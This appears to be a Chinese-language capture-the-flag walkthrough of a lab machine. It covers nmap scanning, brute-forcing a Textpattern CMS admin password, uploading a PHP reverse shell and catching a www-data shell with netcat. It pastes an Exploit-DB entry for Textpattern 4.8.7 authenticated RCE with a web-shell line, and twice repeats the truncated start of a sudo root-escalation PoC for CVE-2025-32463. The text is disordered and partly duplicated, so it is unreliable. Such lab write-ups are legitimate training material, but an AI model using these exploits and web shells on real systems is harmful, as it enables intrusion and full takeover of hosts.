┌──(root㉿kali)-[/miao/maze-sec/5ud0] └─# nmap -sn 192.168.2.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-15 15:41 CST Nmap scan report for 192.168.2.1 Host is up (0.00043s latency). MAC Address: 0A:00:27:00:00:0A (Unknown) Nmap scan report for 192.168.2.2 Host is up (0.00079s latency). MAC Address: 08:00:27:0E:81:B3 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.58 Host is up (0.00071s latency). MAC Address: 08:00:27:23:05:B0 (Oracle VirtualBox virtual NIC) Nmap scan report for 192.168.2.4 Host is up. Nmap done: 256 IP addresses (4 hosts up) scanned in 2.06 seconds
靶机IP:192.168.2.58
二、端口扫描
1、全端口扫描
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/miao/maze-sec/5ud0] └─# nmap --min-rate 10000 -p- 192.168.2.58 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-15 15:42 CST Nmap scan report for 192.168.2.58 Host is up (0.00085s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:23:05:B0 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 5.79 seconds
┌──(root㉿kali)-[/miao/maze-sec/5ud0] └─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.58 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-15 15:43 CST Nmap scan report for 192.168.2.58 Host is up (0.00064s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.0p2 Debian 5 (protocol 2.0) 80/tcp open http Apache httpd 2.4.62 ((Debian)) |_http-title: My site |_http-server-header: Apache/2.4.62 (Debian) |_http-generator: Textpattern CMS MAC Address: 08:00:27:23:05:B0 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.44 seconds
系统框架Textpattern CMS 4.8.7
3、UDP端口扫描
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[/miao/maze-sec/5ud0] └─# nmap -sU --top-ports 100 192.168.2.58 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-15 15:43 CST Nmap scan report for 192.168.2.58 Host is up (0.00057s latency). All 100 scanned ports on 192.168.2.58 are in ignored states. Not shown: 61 closed udp ports (port-unreach), 39 open|filtered udp ports (no-response) MAC Address: 08:00:27:23:05:B0 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 57.68 seconds
没有开放的端口
三、WEB渗透
访问80端口,找到一个域名textpattern.dsz,追加至hosts文件
找到一个登录框
1、密码爆破
尝试进行密码爆破,成功找到用户名和密码admin:superman
2、文件上传
找到上传文件点,上传shell,获得文件上传后的路径/files/rev.php
3、获取www-data权限
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
┌──(root㉿kali)-[/miao/maze-sec/5ud0] └─# nc -lvnp 4444 listening on [any] 4444 ... connect to [192.168.2.4] from (UNKNOWN) [192.168.2.58] 44504 id uid=33(www-data) gid=33(www-data) groups=33(www-data) /usr/bin/script -qc /bin/bash /dev/null www-data@5ud0:/var/www/html/files$ ^Z zsh: suspended nc -lvnp 4444
┌──(root㉿kali)-[/miao/maze-sec/5ud0] └─# stty raw -echo;fg [1] + continued nc -lvnp 4444 reset reset: unknown terminal type unknown Terminal type? xterm www-data@5ud0:/var/www/html/files$ uid=33(www-data) gid=33(www-data) groups=33(www-data)
#!/bin/bash # sudo-chwoot.sh # CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch # @ Stratascale Cyber Research Unit (CRU) STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd${STAGE?} || exit 1
if [ $# -eq 0 ]; then # If no command is provided, default to an interactive root shell. CMD="/bin/bash" else # Otherwise, use the provided arguments as the command to execute. CMD="$@" fi
# Escape the command to safely include it in a C string literal. # This handles backslashes and double quotes. CMD_C_ESCAPED=$(printf'%s'"$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')
# Exploit Title : TextPattern CMS 4.8.7 - Remote Command Execution (Authenticated) # Date : 2021/09/06 # Exploit Author : Mert Daş merterpreter@gmail.com # Software Link : https://textpattern.com/file_download/113/textpattern-4.8.7.zip # Software web : https://textpattern.com/ # Tested on: Server : Xampp
First of all we should use file upload section to upload our shell. Our shell contains this malicious code: <?PHP system($_GET['cmd']);?>
1) Go to content section . 2) Click Files and upload malicious php file. 3) go to yourserver/textpattern/files/yourphp.php?cmd=yourcode;
After upload our file , our request and respons is like below :
#!/bin/bash # sudo-chwoot.sh # CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch # @ Stratascale Cyber Research Unit (CRU) STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd${STAGE?} || exit 1
if [ $# -eq 0 ]; then # If no command is provided, default to an interactive root shell. CMD="/bin/bash" else # Otherwise, use the provided arguments as the command to execute. CMD="$@" fi
# Escape the command to safely include it in a C string literal. # This handles backslashes and double quotes. CMD_C_ESCAPED=$(printf'%s'"$CMD" | sed -e 's/\\/\\\\/g' -e 's/"/\\"/g')